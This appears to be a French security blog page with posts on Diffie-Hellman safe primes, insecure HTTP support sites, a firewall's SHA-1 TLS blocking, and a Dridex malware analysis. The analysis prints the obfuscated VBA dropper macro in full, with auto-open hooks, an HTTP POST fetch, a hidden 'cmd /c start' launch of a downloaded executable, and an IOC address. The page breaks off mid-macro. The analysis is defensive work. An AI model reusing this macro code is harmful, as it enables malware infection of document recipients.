Le logarithme discret et le PSG

Le 28 janvier 2016, OpenSSL a publié un avis de sécurité notamment sur une erreur d’implémentation affectant le protocole Diffie Hellmann. Enfin plus précisemment, OpenSSL annonce avoir corrigé un bug dans la génération de nombre premier utilisé pour ce protocole.

Histoire de fixer les notations, rappelons ici rapidement comment l’on utilise le problème du logarithme discret pour assurer le partage de secret entre deux parties Alice et Bob :

Alice et Bob se mettent d’accord sur  un nombre premier « P » et un nombre « g » (ces deux nombres sont publics).

  • Alice choisit un nombre a, calcule g^a \mod P puis transmet le résultat à Bob
  • De la même façon Bob  choisit un nombre b, calcule g^b \mod P puis transmet le résultat à Alice.

Le secret partagé est alors le nombre g^{ab} \mod P

Du coup si nous nous penchons un peu sur le logarithme discret, toute la sécurité repose sur la difficulté à retrouver rapidement a en fonction de g^a \mod P.

En théorie oui, mais comme nous allons le voir, il se peut en pratique qu’on puisse retrouver a’ différent de a tel que :
g^{a'} \mod P = g^a \mod P

Du coup cela peut alors énormément faciliter la tache des attaquants. Le choix de P et de g est déterminant pour garantir un bon niveau de sécurité du protocole DH (et plus généralement du logarithme discret).

Afin de fixer les esprits prenons volontairement un P petit : P=13.  En observant les 2 tableaux ci dessous, on constate plusieurs choses. Expliquons si elle n’est pas évidente la sémantique de nos tableaux : En abscisse les différentes valeurs de g, et en
ordonnée les puissances a, ainsi la case (g,a) donne g^a mod P.
Rappelons ici que nous n’avons pas besoin de calculer pour a\leq P car a^P = a \mod P (cf petit théorème de Fermat).
groupe Z/13Z
D’abord sur le tableau de droite montre l’occurrence de g^a = 1 \mod 13
Remarquons le grand nombre de 1, la symétrie mais aussi que seules 4 lignes n’ont aucun 1 (autre que celui de la première colonne).

Remarquons également dans le premier tableau, les colonnes de même couleur qui représentent les g qui ont le même cycle (i.e. pour qui g^a = 1 \mod P pour le même a).

En particulier :
a=1, {1}
a=2, {1,12}
a=3, {1,3,9}
a=4, {1,12,5,8}
a=5, {1}
a=6, {1,3,4,9,10,12}
a=7, {1}
a=8, {1,5,8,12}
a=9, {1,3,9}
a=11,{1}
a=12, {1,2,3,4,5,6,7,8,9,10,11,12}

Intéressons nous au cas 1,2,3,4,6 et 12 et remarquons que pour chacun le nombre d’élément tel que g^a mod P = 1 est précisement égale à « a » (Ainsi pour a=6, il y a 6 éléments tels que g^6 = 1 mod P).

Remarquons par ailleurs 1,2,3,4,6 et 12 sont tous les diviseurs de 12 et que 12 = 13 – 1…
Voilà vous commencez à voir venir le « truc » déjà abordé ici ?

Il ne faut pas choisir un P trop friable (avec trop de petit facteur) et un g dans le cycle serait court.

On se rapproche ici un peu de l’idée de P-1 de Pollard, ou pour éviter d’avoir des collisions faciles sur g^a \mod P, il faut que P n’ait de petit facteur et que g ne soit pas un générateur d’un sous groupe trivial de P.

C’est ainsi que nous arrivons à parler du nombre PSG. Le nombre PSG ou nombre premier de Sophie Germain (également appelé dans la littérature anglophone « safe prime » est un nombre premier P impair donc de la forme 2q+1 avec q également premier.

De tels nombres ne sont pas si rares : il n’y a pas de preuve formelle (à notre connaissance), mais une estimation correcte de leur nombre entre 0 et N  est \frac{N}{\log(N)^2} (à comparer au  \frac{N}{\log(N)} des nombres premiers.).

Ainsi pour un nombre premier de Sophie Germain, nous n’aurons que 4 diviseurs de P-1 = 1,2,q et 2q.

Les membres des 2 premiers sous groupes sont triviaux : 1 et p-1 (en effet (p-1)^2 = p^2-2p+1 = 1 \mod P).  Restent donc des générateurs aillant des cycles de q ou 2q, ce qui dès lors que q est grand (1024 bit) est satisfaisant en terme de sécurité.

Reprenons un tableau avec la même idée que ci-dessus mais avec P=23 = 2*11+1
groupe Z/23Z

Lors d’une négociation SSL/TLS avec de la « PFS », il pourrait être intéressant d’étudier systématiquement la sécurité de parametres de DH proposé par le hote distant.

Note importante sur IKE :
A contrario de SSL/TLS, le protocol IKE (tout comme SSH) ne laissent pas libres des P que l’on peut utiliser pour DH : ils sont très précisément expliciter dans les RFCs.

Du coup, nous vous invitons à lire ou relire la publication de l’INRIA pour un panorama complet de la sécurité du protocol Diffie-Hellman

Publié dans Cryptographie Asymétrique, Uncategorized | Tagué , , , , | Laisser un commentaire

Faites ce que je dis pas ce que je fais

Un « support de produit de sécurité » ne veut pas dire « support sécurisé ». En voici une belle illustration merci au « Taureau » français.

support

Alors :

Oui, le mot de passe initialement généré est bien une suite de 4 chiffres.
Oui, le lien pour se connecter au support est bien en http.
Et non, il n’y a pas de redirection automatique en https, ni même de HSTS.

Heureusement, l’authentification se fait quand même via SSL.

connectedSupportUne fois l’authentification jouée, par contre on revient en http.

Du coup, nos téléchargements de microcodes pour des plateformes sécurisés (et Bull en a quelques unes) peuvent parfaitement être compromis par un attaquant. Et tout cela peut se faire à l’insu de l’utilisateur quand bien même un condensat de contrôle serait mis sur la page (en effet la page elle même peut aussi être modifiée).

Le plus triste dans cette histoire ? On hésite  entre 2 possibilités  sur cette histoire d’http en clair:

  • Ils le font bien que le site soit complétement disponible en SSL (faut simplement vérifier que le « s » ne saute pas d’une page à l’autre),
  • Ils le font bien que Atos  soit partenaire de la Hack Academy… et donc parfaitement conscient des enjeux sur le chiffrement des flux réseaux.

Quoi qu’il en soit, ils n’ont pas vraiment d’excuse  !

Publié dans Uncategorized | Laisser un commentaire

Le support ne répond plus

La cryptographie peut parfois être subtile. Pour tous ceux qui en doutaient encore, en voici un exemple concret.

Notre histoire commence en milieu de semaine dernière : Bouclier de Tempête sort une mise à jour pour sa gamme de produit réseau : La version 2.2.1 est disponible. Aussitôt publié, nous l’installons sur notre boitier de test : A priori pas de changement énorme, cela reste conforme à ce qui était annoncé.

Tentative de mise à mort du Sha

Une navigation rapide dans l’interface ne présente pas de changement significatif. Mais après quelques minutes de navigation sur le boitier depuis Firefox, nous constatons des échecs de connexion sur des services en SSL/TLS.

sslfail

Nous souhaitons alors nous connecter au site du support afin de voir s’il y a des infos à ce sujet : Malheureusement, le site du support fait partie des victimes. On va donc devoir se débrouiller seul.

Creusons un peu : tout d’abord allons faire un tour dans les journaux d’événements :

alarm

Visiblement une alarme du module ASQ (liée au niveau de chiffrement) est configurée pour bloquer notre trafic. Allons donc voir de quoi il retourne :

niveau_chiff

Le petit lien « Aide » renvoie vers une base de connaissance toujours aussi explicite… On y comprend qu’il y a très certainement un problème lors la négociation SSL.

Un petit coup de capture réseau sur les interfaces interne et externe devrait nous permettre de comprendre davantage. Commençons par analyser le trafic interne :

wireshark_int

On y voit bien notre « Client Hello » avec les 3 propositions de suites de chiffrement. Celui-ci est suivi d’un tcp RST. Voyons donc ce qui se passe de l’autre coté. De la même façon, nous y voyons notre « Client Hello » et ses 3 suites proposées.

wireshark_ext

Cependant, de coté de la barrière, le « Server Hello » arrive… Et le serveur choisit comme c’est son droit, (et oui c’est lui qui a le dernier mot, d’où une certaine prudence dans ce que nous lui proposons) la suite TLS_DHE_RSA_WITH_AES_256-CBC-SHA.
(Nous insistons ici sur la version du protocole : TLS 1.2. Vous verrez, c’est important pour la suite).

wireshark_ext_srv

Or si nous avons bien compris l’aide de l’alarme, le blocage par l’ASQ signifie que cette suite de chiffrement est interdite.

Notons que lorsque nous sommes soumis au filtrage du boitier, il semble que seuls deux mécanismes soient autorisés (« Semble » car la commande  « nmap –script ssl-enum-ciphers.nse  mystormshield.eu » dont le résultat est présenté ci-après est visiblement sensible au temps de réponse du serveur et l’ASQ induit une latence qui fait varier les résultats de la commande, mais on a jamais eu plus de 4 suites valides)

nmap

Nous comparons alors au résultat de la même commande mais cette fois ci sans filtrage :

%> nmap  --script ssl-enum-ciphers.nse  mystormshield.eu
Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-05 16:05 CET
Nmap scan report for mystormshield.eu (91.212.116.103)
Host is up (0.088s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|       TLS_RSA_WITH_SEED_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.1:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|       TLS_RSA_WITH_SEED_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.2:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA256 - strong
|       TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|       TLS_RSA_WITH_SEED_CBC_SHA - strong
|     compressors:
|       NULL
|_  least strength: strong

Dans ce cas-ci (sans filtrage), nous n’avons que l’embarras du choix…

Au passage, une question nous taraude l’esprit : Pourquoi diable le site du support n’accepte pas l’utilisation de ECDHE comme algorithme d’échange de clé ? Ils ont un truc contre  les courbes elliptiques ? Aurait-ce un rapport avec le revirement de la NSA sur ces méthodes ? Et RC4 est proposé par le serveur… Ce n’est pas faute d’avoir expliquer comment durcir une configuration SSL !

Mais revenons à nos moutons : à force de tentative, on découvre empiriquement que l’alarme bannit tout protocole qui utilise SHA-1 et ce un peu en avance par rapport au reste du monde. De plus cette alarme n’est pas nouvelle sur cette version (elle était déjà présente sur la version 2.1.2), son comportement est devenu plus « sectaire » vis à vis de SHA-1. Une relecture attentive de la documentation accompagnant la nouvelle version confirme cela :

Le niveau de sécurité de certains algorithmes de chiffrement avait été déprécié au sein du plugin
SSL: [...] algorithmes de type SHA1 passant au niveau moyen. (page 5)

Malheureusement la même documentation ne justifie pas cette décision.

Il est ici important de préciser que Firefox dans sa dernière version propose le SHA256 uniquement avec ECDHE (vous pouvez aussi vérifier la liste des suites activées et disponibles via about:config) :

FF

Donc finalement, on dira que FireFox ne propose pas suffisamment de suites pour permettre une bonne interopérabilité avec cette alarme ASQ et la navigation sur un grand nombre de sites.

Mais pourquoi sont-ils si méchants ?

Du coup, on est content : grace à cette alarme, nous sommes protégés contre les attaques sur SHA-1.

Oui mais non, rappelez vous plus haut : nous avons insisté à la version du protocole utilisé : en effet, cela a une petite importance. En lisant la RFC 5246, nous apprenons que HMAC-SHA1 et HMAC-MD5 sont automatiquement remplacés par HMAC-SHA256 (premier paragraphe) ! Ce qui en termes plus explicites  signifie qu’en TLS 1.2, la suite de chiffrement TLS_RSA_WITH_AES_256_CBC_SHA utilise HMAC-SHA256 comme fonction pseudo-aléatoire.  Cette fonction sert notamment à calculer la fameuse clé maitre du chiffrement. Le SHA n’est alors utilisé que dans le contrôle d’intégrité des paquets chiffrés.

Ce qui nous amène tout droit à notre deuxième point, les attaques sur SHA-1 précédemment citées ont-elles un impact sur la sécurité de HMAC-SHA1 ? Et bien non. D’ailleurs la plus part des annonces sont faites sur l’abandon de la fonction SHA-1 dans un cadre bien précis : les algorithmes de signature (type certificat, horodatage), ce qui n’est pas tout à fait la même chose.

De plus bloquer SHA-1 dans SSL/TLS, revient à interdire toutes les versions du protocole antérieures à TLS 1.2. La navigation va donc être fortement impactée avec cette alarme à ce niveau de sécurité.

Mais bon, nos amis lillois ont du voir grand et décider de bannir SHA-1 complétement de toutes les négociations cryptographiques… Effectivement c’est ce que nous pourrions nous dire, cependant naviguer vers des sites utilisant un certificat signé en SHA1_RSA est complétement possible (ici ou par exemple) alors que l’alarme est activée. Mais pour les administrateurs de boitier, vous pouvez simplement vous connecter à votre interface et vérifier l’algorithme de signature du certificat par défaut. C’est un petit point à garder en tête quand les principaux navigateurs vont bloquer SHA-1 : ça risque d’être un peu la panique en Janvier).

Du coup, ce blocage a-t-il un sens ?  Si oui, lequel ? En tous les cas, cela n’a rien d’évident.

Quelqu’un pourrait demander plus d’info à « bouclier de tempête » ? Nous, on aimerait bien mais on arrive pas à accéder au site du support !

Publié dans Sensibilisation, Système | Tagué , , , | Laisser un commentaire

Le retour du Dridex

Comme beaucoup cet été, notre boite de messagerie aura été ciblée par une des nombreuses campagnes Dridex.  Et en cette fin octobre, ce dernier nous fait un petit come-back dans l’hexagone. Le CERT-FR s’est même fendu d’une alerte pour l’occasion.

Voici comment nous nous y sommes pris pour jeter un oeil à ce bidule. L’idée ici de faire un maximum avec des outils simples :  Ainsi nous laisserons IDA Pro… aux pros de la retro-ingénierie.

Alors pour ceux qui sont arrivés en retard, Dridex est un logiciel malveillant. Son vecteur de contamination est simple : Faire ouvrir à la victime une pièce jointe reçue dans un message électronique.

Cette pièce jointe est souvent (… toujours ?) un document office contenant des macro.

Dans notre cas, la pièce jointe reçue se nomme : reserve_<prenom.nom>-12345678.doc

On commence donc par un petit « file » :

%> file reserve_prenom.nom-12345678.doc
reserve_prenom.nom-12345678.doc: MIME entity, ISO-8859 text, with CRLF line terminators

Cela ne ressemble pas vraiment à du document office comme pourrait le laisser penser l’extension. En parcourant le fichier avec notre éditeur de texte favori, on finit par trouver une section intéressante :

------=_NextPart_21D11153.8817DC45
Content-Location: file:///C:/428FA132/file7516.files/editdata.mso
Content-Transfer-Encoding: base64
Content-Type: application/x-mso

Le tout est suivi d’un gros blop encodé en base64 que l’on récupère dans un nouveau fichier editdata.mso.b64

%>tr -d '\r' <  editdata.mso.b64 > pure.base64
%>base64 -d pure.base64 > editdata.mso

Une fois le base64 décodé, on obtient un fichier binaire :

%> file editdata.mso
editdata.mso: data
%> hexdump -C editdata.mso
00000000 41 63 74 69 76 65 4d 69 6d 65 00 00 01 f0 04 00 |ActiveMime......|
00000010 00 00 ff ff ff ff 00 00 07 f0 41 4a 00 00 04 00 |..........AJ....|
00000020 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 f6 |................|
00000030 00 00 78 9c ed 7d 09 60 13 c7 b9 ff ec 4a 96 65 |..x..}.`.....J.e|
00000040 f9 88 21 0e 31 c4 c0 62 0c 98 cb 48 b2 24 cb 04 |..!.1..b...H.$..|
00000050 27 b6 2e 1f d8 d8 e0 13 ea fc b1 6c c9 b6 6c d9 |'..........l..l.|
00000060 32 92 6c 6c 93 43 06 4a 28 a1 09 6d 92 3e 9a 93 |2.ll.C.J(..m.>..|
00000070 a4 af 09 49 68 43 8e a6 34 2f 87 73 51 42 73 b8 |...IhC..4/.sQBs.|
00000080 37 49 7a 90 26 4d 69 9a e6 d1 94 a6 34 87 f5 ff |7Iz.&Mi.....4...|
00000090 be d9 5d 69 25 4b 60 9c bc be f4 95 b5 7f 9a dd |..]i%K`.........|
000000a0 6f 67 be 99 f9 76 8e 6f ee b1 57 a7 1d bf eb a1 |og...v.o..W.....|
000000b0 59 6f 92 a8 eb 32 22 23 e3 c1 24 a2 90 d0 18 01 |Yo...2"#..$.....|
000000c0 f4 4a 27 84 05 23 01 30 1e 0c 06 45 72 f0 fc f5 |.J'..#.0...Er...|

Rien d’évident n’apparait dans le fichier. Mais en cherchant sur le net la structure des fichiers MSO, on est tombé (un peu par hazard, avouons-le) sur ceci. Du coup, nous savons comment nous y prendre : on extrait donc le fichier à partir du 51eme octet, grâce à la commande suivante :

 %> tail -c  +51 editdata.mso > editdata.mso.purge

Puis nous pouvons dézipper :

%>zlib-flate -uncompress < editdata.mso.purge  > editdata.mso.decompress
%>file editdata.mso.decompress
editdata.mso.decompress: Composite Document File V2 Document, No summary info

Nous trouvons enfin un peu de données exploitables.

A partir d’ici, deux saveurs s’offrent à vous : celle de la bière belge avec oledump.py et celle du cidre breton avec oletools. Fière du terroir français, nous choisissons de continuer avec le second.

Nous utilisons donc la suite d’outils oletools (présentée dans MISC et au dernier SSTIC).

On commence par lancer une analyse automatique du document via la commande suivante :

%> python oletools-0.12/oletools/olevba.py --decode editdata.mso.decompress
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | vbHide               | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| IOC        | 117.239.73.244       | IPv4 address                            |
| Hex String | '/axae.e'            | '2F617861652E65'                        |
| Hex String | 'cmd /c start        | '636D64202F632073746172742025544D50252F |
|            | %TMP%/axae.e'        | 617861652E65'                           |
| Hex String | 'ft.XM'              | '66742E584D'                            |
| Hex String | 'roso'               | '726F736F'                              |
| Hex String | 'LHTTP'              | '4C48545450'                            |
| Hex String | 'POST'               | '504F5354'                              |
+------------+----------------------+-----------------------------------------+

Il y a donc bien un truc de suspect dans ce fichier. A l’aide de la commande suivante, nous pouvons récupérer le contenu des macros

 %> python oletools-0.12/oletools/olevba.py -c editdata.mso.decompress

Voici le bousin qu’on récupère :

olevba 0.31 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIH--- editdata.mso.decompress

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: editdata.mso.decompress
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: editdata.mso.decompress - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub UFJhvhjdsf()
ioikN6O
End Sub
Sub AutoOpen()
    UFJhvhjdsf
End Sub
Sub Workbook_Open()
    UFJhvhjdsf
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module4.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ZsnbF()

Dim oyxZRfVi As Integer
oyxZRfVi = 9
Do While oyxZRfVi &amp;lt; 45
DoEvents: oyxZRfVi = oyxZRfVi + 1
Loop

dTYVJHdf = ZfyE("78")

Dim lretHtey As Integer
lretHtey = 1
Do While lretHtey &amp;lt; 93
DoEvents: lretHtey = lretHtey + 1
Loop

 ZsnbF = Environ(Module3.TZogwF) &amp;amp; ZfyE("2F617861652E65") + dTYVJHdf + ZfyE("65")
End Function

Public Function JqBv4aTP3Ok()

Dim FbSjdctS As Integer
FbSjdctS = 5
Do While FbSjdctS &amp;lt; 47
DoEvents: FbSjdctS = FbSjdctS + 1
Loop

dTYVJHdf = ZfyE("78")

Dim CclLcgpO As Integer
CclLcgpO = 6
Do While CclLcgpO &amp;lt; 28
DoEvents: CclLcgpO = CclLcgpO + 1
Loop

 JqBv4aTP3Ok = Shell(ZfyE("636D64202F632073746172742025544D50252F617861652E65") + dTYVJHdf + ZfyE("65"), vbHide)
End Function


-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ZeIlGqZSFgIDLHHkmSGjLjwURmIUnViJgWJ32() As Integer
Dim LaeOimThUrkNzAqNAHkCaFcPYEnbAdRqWJV88, PgEBTrDVdISzoIQwlmGYQZVmOaREguJwfXE96, rmrGgoGDwXlOFGszunCTUQwsXAepEmmZTiS17, YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26 As String
Dim bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11, xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99, QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24, DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 As Integer

Dim yuBIiTiP As Integer
yuBIiTiP = 8
Do While yuBIiTiP &amp;lt; 24
DoEvents: yuBIiTiP = yuBIiTiP + 1
Loop

bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11 = 9781

Dim IWnZreah As Integer
IWnZreah = 7
Do While IWnZreah &amp;lt; 44
DoEvents: IWnZreah = IWnZreah + 1
Loop

LaeOimThUrkNzAqNAHkCaFcPYEnbAdRqWJV88 = d

Dim crqSEfkY As Integer
crqSEfkY = 2
Do While crqSEfkY &amp;lt; 54 DoEvents: crqSEfkY = crqSEfkY + 1 Loop xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99 = Asc(LaeOimThUrkNzAqNAHkCaFcPYEnbAdRqWJV88) If bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11 &amp;gt; xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99 Then
    For QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24 = 1 To 43

Dim QZrdQWsA As Integer
QZrdQWsA = 5
Do While QZrdQWsA &amp;lt; 26
DoEvents: QZrdQWsA = QZrdQWsA + 1
Loop

       DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 = xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99 + QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24
    Next QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24

Dim FqOGCbTB As Integer
FqOGCbTB = 5
Do While FqOGCbTB &amp;lt; 23
DoEvents: FqOGCbTB = FqOGCbTB + 1
Loop

DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 = DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 + bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11

Dim iWBRnamA As Integer
iWBRnamA = 2
Do While iWBRnamA &amp;lt; 32
DoEvents: iWBRnamA = iWBRnamA + 1
Loop

PgEBTrDVdISzoIQwlmGYQZVmOaREguJwfXE96 = CStr(DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53)

Dim CtOGaqQK As Integer
CtOGaqQK = 7
Do While CtOGaqQK &amp;lt; 42
DoEvents: CtOGaqQK = CtOGaqQK + 1
Loop

rmrGgoGDwXlOFGszunCTUQwsXAepEmmZTiS17 = Mid$(PgEBTrDVdISzoIQwlmGYQZVmOaREguJwfXE96, 1, 4)

Dim vCHhGWbW As Integer
vCHhGWbW = 3
Do While vCHhGWbW &amp;lt; 38
DoEvents: vCHhGWbW = vCHhGWbW + 1
Loop

YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26 = YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26 &amp;amp; "73"

Dim KOtoyuiL As Integer
KOtoyuiL = 8
Do While KOtoyuiL &amp;lt; 37
DoEvents: KOtoyuiL = KOtoyuiL + 1
Loop

ZeIlGqZSFgIDLHHkmSGjLjwURmIUnViJgWJ32 = CInt(Mid$(YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26, 2, 6))
Else

Dim pQMVoDyU As Integer
pQMVoDyU = 2
Do While pQMVoDyU &amp;lt; 82
DoEvents: pQMVoDyU = pQMVoDyU + 1
Loop

ZeIlGqZSFgIDLHHkmSGjLjwURmIUnViJgWJ32 = 43 + 9781

Dim EwqIVZzG As Integer
EwqIVZzG = 3
Do While EwqIVZzG &amp;lt; 67
DoEvents: EwqIVZzG = EwqIVZzG + 1
Loop

MsgBox ("YzviwutQvFKYvLYnAJUXeoaXXpkzIeOjueJ95")
End Function



Public Function TZogwF()

Dim oYmpirem As Integer
oYmpirem = 8
Do While oYmpirem &amp;lt; 41
DoEvents: oYmpirem = oYmpirem + 1
Loop

fCGHdsfdf = ZfyE("54")

Dim kTNSlWil As Integer
kTNSlWil = 1
Do While kTNSlWil &amp;lt; 98
DoEvents: kTNSlWil = kTNSlWil + 1
Loop

IUGjdsfsdf = fCGHdsfdf + ZfyE("454D")

Dim frKkiFMy As Integer
frKkiFMy = 9
Do While frKkiFMy &amp;lt; 55
DoEvents: frKkiFMy = frKkiFMy + 1
Loop

  TZogwF = IUGjdsfsdf + ZfyE("50")
End Function
Public Function HEWCCP()

Dim FNPVGfpB As Integer
FNPVGfpB = 5
Do While FNPVGfpB &amp;lt; 42
DoEvents: FNPVGfpB = FNPVGfpB + 1
Loop

ytjrtgdsFFsd = ZfyE("4D6963")

Dim CBhnatgX As Integer
CBhnatgX = 6
Do While CBhnatgX &amp;lt; 24
DoEvents: CBhnatgX = CBhnatgX + 1
Loop

uyFhkdsfdsf = ZfyE("66742E584D")

Dim Lcozzdig As Integer
Lcozzdig = 6
Do While Lcozzdig &amp;lt; 56
DoEvents: Lcozzdig = Lcozzdig + 1
Loop

 HEWCCP = ytjrtgdsFFsd + ZfyE("726F736F") + uyFhkdsfdsf + ZfyE("4C48545450")
End Function
Public Function tsVi()

Dim mgwzJbZO As Integer
mgwzJbZO = 8
Do While mgwzJbZO &amp;lt; 43
DoEvents: mgwzJbZO = mgwzJbZO + 1
Loop

sDVKdsf = ZfyE("444F44")

Dim EfzEzjUY As Integer
EfzEzjUY = 1
Do While EfzEzjUY &amp;lt; 25
DoEvents: EfzEzjUY = EfzEzjUY + 1
Loop

uyfjkdsf = ZfyE("537472")

Dim bSWtevAB As Integer
bSWtevAB = 9
Do While bSWtevAB &amp;lt; 47
DoEvents: bSWtevAB = bSWtevAB + 1
Loop

 tsVi = ZfyE("41") + sDVKdsf + ZfyE("422E") + uyfjkdsf + ZfyE("65616D")
End Function


-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ZfyE(ByVal sData As String) As String
Dim i       As Long
For i = 1 To Len(sData) Step 2

Dim GKAkaUXz As Integer
GKAkaUXz = 3
Do While GKAkaUXz &amp;lt; 41
DoEvents: GKAkaUXz = GKAkaUXz + 1
Loop

 ZfyE = ZfyE &amp;amp; Chr$(Val("&amp;amp;H" &amp;amp; Mid$(sData, i, 2)))
Next i
End Function


-------------------------------------------------------------------------------
VBA MACRO Module11.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub ioikN6O()


Dim FJHHIADN As Integer
FJHHIADN = 5
Do While FJHHIADN &amp;lt; 41
DoEvents: FJHHIADN = FJHHIADN + 1
Loop

Set itGIUGdfdsfvv = CreateObject(Module3.HEWCCP)
itGIUGdfdsfvv.Open ZfyE("504F5354"), Module2.YVnTUhDMP, False

Dim KgfCIsTQ As Integer
KgfCIsTQ = 6
Do While KgfCIsTQ &amp;lt; 55
DoEvents: KgfCIsTQ = KgfCIsTQ + 1
Loop

itGIUGdfdsfvv.send


Dim qsnztMGY As Integer
qsnztMGY = 9
Do While qsnztMGY &amp;lt; 85
DoEvents: qsnztMGY = qsnztMGY + 1
Loop

    Set SCvdhfsdf = CreateObject(Module3.tsVi)

Dim lqyRhQMR As Integer
lqyRhQMR = 1
Do While lqyRhQMR &amp;lt; 66
DoEvents: lqyRhQMR = lqyRhQMR + 1
Loop

